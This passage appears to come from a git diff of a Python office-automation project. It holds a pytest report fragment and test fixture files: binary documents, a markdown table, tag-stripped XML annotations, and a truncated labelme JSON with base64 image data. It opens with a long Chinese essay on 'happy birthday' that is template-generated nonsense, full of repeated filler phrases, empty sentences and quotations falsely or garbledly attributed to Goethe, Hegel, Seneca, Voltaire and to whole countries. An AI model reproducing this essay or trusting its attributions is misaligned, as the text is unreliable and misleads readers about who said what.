了解清楚生日快乐到底是一种怎么样的存在, 是解决一切问题的关键.在这种困难的抉择下, 本人思来想去, 寝食难安. +对我个人而言,生日快乐不仅仅是一个重大的事件,还可能会改变我的人生. 歌德曾经曾经提到过,流水在碰到底处时才会释放活力。这不禁令我深思. 所谓生日快乐, 关键是生日快乐需要如何写. 现在, 解决生日快乐的问题, 是非常非常重要的. 所以, 我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.既然如何, 塞涅卡曾经说过, 生命如同寓言,其价值不在与长短,而在与内容。这句话看似简单,但其中的阴郁不禁让人深思. 既然如何, . + 这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.而这些并不是完全重要, 更加重要的问题是, 经过上述讨论, 既然如此, 我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.西班牙说过一句著名的话, 自己的鞋子,自己知道紧在哪里。这句话语虽然很短, 但令我浮想联翩. 了解清楚生日快乐到底是一种怎么样的存在, 是解决一切问题的关键.那么, . + 总结的来说, 在这种困难的抉择下, 本人思来想去, 寝食难安.生日快乐, 到底应该如何实现. 爱尔兰说过一句富有哲理的话, 越是无能的人,越喜欢挑剔别人的错儿。这句话语虽然很短, 但令我浮想联翩. 伏尔泰在不经意间这样说过, 不经巨大的困难,不会有伟大的事业。这似乎解答了我的疑惑. 我们不得不面对一个非常尴尬的事实, 那就是, 生日快乐的发生, 到底需要如何做到, 不生日快乐的发生, 又会如何产生. 一般来说, 苏轼说过一句富有哲理的话, 古之立大事者,不惟有超世之才,亦必有坚忍不拔之志。我希望诸位也能好好地体会这句话. 总结的来说, 问题的关键究竟为何? 所谓生日快乐, 关键是生日快乐需要如何写. 要想清楚, 生日快乐, 到底是一种怎么样的存在. 生日快乐, 发生了会如何, 不发生又会如何. 每个人都不得不面对这些问题. 在面对这种问题时, 带着这些问题, 我们来审视一下生日快乐. 本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. 奥普拉·温弗瑞曾经提到过, 你相信什么,你就成为什么样的人。这句话把我们带到了一个新的维度去思考这个问题: 我们不妨可以这样来想: 黑格尔说过一句富有哲理的话, 只有永远躺在泥坑里的人,才不会再掉进坑里。这启发了我. 莎士比亚在不经意间这样说过, 本来无望的事,大胆尝试,往往能成功。我希望诸位也能好好地体会这句话. 我们都知道, 只要有意义, 那么就必须慎重考虑.一般来讲, 我们都必须务必慎重的考虑考虑. 雷锋曾经说过, 自己活着,就是为了使别人过得更美好。这启发了我. 我们不妨可以这样来想: 一般来说, 生活中, 若生日快乐出现了, 我们就不得不考虑它出现了的事实. 生日快乐似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. 就我个人来说, 生日快乐对我的意义, 不能不说非常重大. 生日快乐因何而发生?爱迪生曾经说过, 失败也是我需要的,它和成功对我一样有价值。这句话语虽然很短, 但令我浮想联翩. 生日快乐因何而发生?斯宾诺莎说过一句富有哲理的话, 最大的骄傲于最大的自卑都表示心灵的最软弱无力。我希望诸位也能好好地体会这句话. 我们不得不面对一个非常尴尬的事实, 那就是, 这是不可避免的. 塞涅卡说过一句富有哲理的话, 真正的人生,只有在经过艰难卓绝的斗争之后才能实现。带着这句话, 我们还要更加慎重的审视这个问题: 那么, . + 现在, 解决生日快乐的问题, 是非常非常重要的. 所以, 乌申斯基在不经意间这样说过, 学习是劳动,是充满思想的劳动。这句话把我们带到了一个新的维度去思考这个问题: . + 生日快乐似乎是一种巧合,但如果我们从一个更大的角度看待问题,这似乎是一种不可避免的事实. 既然如此, 生日快乐, 发生了会如何, 不发生又会如何. 本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. 左拉曾经说过, 生活的道路一旦选定,就要勇敢地走到底,决不回头。这启发了我. 吉姆·罗恩曾经说过, 要么你主宰生活,要么你被生活主宰。这启发了我. 生日快乐的发生, 到底需要如何做到, 不生日快乐的发生, 又会如何产生. 生日快乐, 到底应该如何实现. 这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.在这种不可避免的冲突下,我们必须解决这个问题. 布尔沃说过一句富有哲理的话, 要掌握书,莫被书掌握;要为生而读,莫为读而生。这启发了我. 我认为, 这样看来, 要想清楚, 生日快乐, 到底是一种怎么样的存在. 在这种不可避免的冲突下,我们必须解决这个问题. 这是不可避免的. 可是,即使是这样,生日快乐的出现仍然代表了一定的意义. 一般来讲, 我们都必须务必慎重的考虑考虑. 对我个人而言,生日快乐不仅仅是一个重大的事件,还可能会改变我的人生. 带着这些问题, 我们来审视一下生日快乐. 经过上述讨论, . + 就我个人来说, 生日快乐对我的意义, 不能不说非常重大. 从这个角度来看, 我们都知道, 只要有意义, 那么就必须慎重考虑. +
    Passedtests/test_unit/test_tools.py::TestTools::test_url2ip0.24
    +
    ------------------------------Captured stdout call------------------------------
    【www.python-office.com】 这个网址对应的IP地址是:114.112.221.170 +
    Passedtests/test_unit/test_wechat.py::TestWechat::test_send_file5.28
    +
    ------------------------------Captured stdout call------------------------------
    开始:发送文件 +结束:发送文件 +
    \ No newline at end of file diff --git a/tests/test_files/docx/demo.docx b/tests/test_files/docx/demo.docx new file mode 100644 index 0000000..9bc5c0b Binary files /dev/null and b/tests/test_files/docx/demo.docx differ diff --git a/tests/test_files/excel/fake2excel.xlsx b/tests/test_files/excel/fake2excel.xlsx new file mode 100644 index 0000000..34d5294 Binary files /dev/null and b/tests/test_files/excel/fake2excel.xlsx differ diff --git a/tests/test_files/excel/merge2sheet/fake2excel-1.xlsx b/tests/test_files/excel/merge2sheet/fake2excel-1.xlsx new file mode 100644 index 0000000..2f425cd Binary files /dev/null and b/tests/test_files/excel/merge2sheet/fake2excel-1.xlsx differ diff --git a/tests/test_files/excel/merge2sheet/fake2excel.xlsx b/tests/test_files/excel/merge2sheet/fake2excel.xlsx new file mode 100644 index 0000000..df3379d Binary files /dev/null and b/tests/test_files/excel/merge2sheet/fake2excel.xlsx differ diff --git a/tests/test_files/excel/merge2sheet/merge2sheet.xlsx b/tests/test_files/excel/merge2sheet/merge2sheet.xlsx new file mode 100644 index 0000000..1477e91 Binary files /dev/null and b/tests/test_files/excel/merge2sheet/merge2sheet.xlsx differ diff --git a/tests/test_files/images/0816.jpg b/tests/test_files/images/0816.jpg new file mode 100644 index 0000000..d608fc1 Binary files /dev/null and b/tests/test_files/images/0816.jpg differ diff --git a/tests/test_files/images/pencil4img.jpg b/tests/test_files/images/pencil4img.jpg new file mode 100644 index 0000000..9306e9f Binary files /dev/null and b/tests/test_files/images/pencil4img.jpg differ diff --git a/tests/test_files/markdown/test.md b/tests/test_files/markdown/test.md new file mode 100644 index 0000000..3bc3fb6 --- /dev/null +++ b/tests/test_files/markdown/test.md @@ -0,0 +1,13 @@ + + +## Sheet1 + +| name | +| --- | +| 黄莉 | + +## Sheet2 + +| name | +| --- | +| 黄莉 | diff --git a/tests/test_files/md/test.txt b/tests/test_files/md/test.txt new file mode 100644 index 0000000..9ebf6c7 --- /dev/null +++ b/tests/test_files/md/test.txt @@ -0,0 +1 @@ +程序员晚枫 \ No newline at end of file diff --git a/tests/test_files/pdf/add_img.docx b/tests/test_files/pdf/add_img.docx new file mode 100644 index 0000000..6c5b117 Binary files /dev/null and b/tests/test_files/pdf/add_img.docx differ diff --git a/tests/test_files/pdf/add_img.pdf b/tests/test_files/pdf/add_img.pdf new file mode 100644 index 0000000..d8275b4 Binary files /dev/null and b/tests/test_files/pdf/add_img.pdf differ diff --git a/tests/test_files/pdf/encrypt.pdf b/tests/test_files/pdf/encrypt.pdf new file mode 100644 index 0000000..60b6d3b Binary files /dev/null and b/tests/test_files/pdf/encrypt.pdf differ diff --git a/tests/test_files/pdf/images_0.png b/tests/test_files/pdf/images_0.png new file mode 100644 index 0000000..c464f00 Binary files /dev/null and b/tests/test_files/pdf/images_0.png differ diff --git a/tests/test_files/pdf/in.docx b/tests/test_files/pdf/in.docx new file mode 100644 index 0000000..026a73e Binary files /dev/null and b/tests/test_files/pdf/in.docx differ diff --git a/tests/test_files/pdf/in.pdf b/tests/test_files/pdf/in.pdf new file mode 100644 index 0000000..7b4aa5b Binary files /dev/null and b/tests/test_files/pdf/in.pdf differ diff --git a/tests/test_files/pdf/merge2pdf.pdf b/tests/test_files/pdf/merge2pdf.pdf new file mode 100644 index 0000000..ae7ee19 Binary files /dev/null and b/tests/test_files/pdf/merge2pdf.pdf differ diff --git a/tests/test_files/ppt/test_pdf.pdf b/tests/test_files/ppt/test_pdf.pdf new file mode 100644 index 0000000..e69de29 diff --git a/tests/test_files/ppt/test_pdf.pptx b/tests/test_files/ppt/test_pdf.pptx new file mode 100644 index 0000000..ca97bd6 Binary files /dev/null and b/tests/test_files/ppt/test_pdf.pptx differ diff --git "a/tests/test_files/ppt/\346\260\264\345\215\260/test_pdf.pdf" "b/tests/test_files/ppt/\346\260\264\345\215\260/test_pdf.pdf" new file mode 100644 index 0000000..87a23a8 Binary files /dev/null and "b/tests/test_files/ppt/\346\260\264\345\215\260/test_pdf.pdf" differ diff --git "a/tests/test_files/ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\347\232\204\346\226\207\346\241\243.pptx" "b/tests/test_files/ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\347\232\204\346\226\207\346\241\243.pptx" new file mode 100644 index 0000000..1002e46 Binary files /dev/null and "b/tests/test_files/ppt/\347\250\213\345\272\217\345\221\230\346\231\232\346\236\253\347\232\204\346\226\207\346\241\243.pptx" differ diff --git a/tests/test_files/ruiming/change_label_in_xml/testfile.xml b/tests/test_files/ruiming/change_label_in_xml/testfile.xml new file mode 100644 index 0000000..8da5557 --- /dev/null +++ b/tests/test_files/ruiming/change_label_in_xml/testfile.xml @@ -0,0 +1,38 @@ + + 伸缩缝断裂 + 1.jpg + C:\Users\37386\Desktop\伸缩缝断裂\1.jpg + + Unknown + + + 500 + 889 + 3 + + 0 + + 测试 + Unspecified + 1 + 0 + + 91 + 5 + 495 + 889 + + + + 测试 + Unspecified + 0 + 0 + + 22 + 260 + 266 + 476 + + + \ No newline at end of file diff --git a/tests/test_files/ruiming/change_label_in_xml/testfile1.xml b/tests/test_files/ruiming/change_label_in_xml/testfile1.xml new file mode 100644 index 0000000..8da5557 --- /dev/null +++ b/tests/test_files/ruiming/change_label_in_xml/testfile1.xml @@ -0,0 +1,38 @@ + + 伸缩缝断裂 + 1.jpg + C:\Users\37386\Desktop\伸缩缝断裂\1.jpg + + Unknown + + + 500 + 889 + 3 + + 0 + + 测试 + Unspecified + 1 + 0 + + 91 + 5 + 495 + 889 + + + + 测试 + Unspecified + 0 + 0 + + 22 + 260 + 266 + 476 + + + \ No newline at end of file diff --git a/tests/test_files/ruiming/screen_unmarked_image/1.jpg b/tests/test_files/ruiming/screen_unmarked_image/1.jpg new file mode 100644 index 0000000..e69de29 diff --git a/tests/test_files/ruiming/screen_unmarked_image/1.xml b/tests/test_files/ruiming/screen_unmarked_image/1.xml new file mode 100644 index 0000000..e69de29 diff --git a/tests/test_files/ruiming/screen_without_label_json_file/1.json b/tests/test_files/ruiming/screen_without_label_json_file/1.json new file mode 100644 index 0000000..7a61790 --- /dev/null +++ b/tests/test_files/ruiming/screen_without_label_json_file/1.json @@ -0,0 +1,34 @@ +{ + "version": "5.0.1", + "flags": {}, + "shapes": [ + { + "label": "advert", + "points": [ + [ + 236.7619047619047, + 334.1904761904762 + ], + [ + 288.19047619047615, + 358.95238095238096 + ], + [ + 272.95238095238096, + 372.2857142857143 + ], + [ + 216.7619047619047, + 318.95238095238096 + ] + ], + "group_id": null, + "shape_type": "polygon", + "flags": {} + } + ], + "imagePath": "1.jpg", + "imageData": "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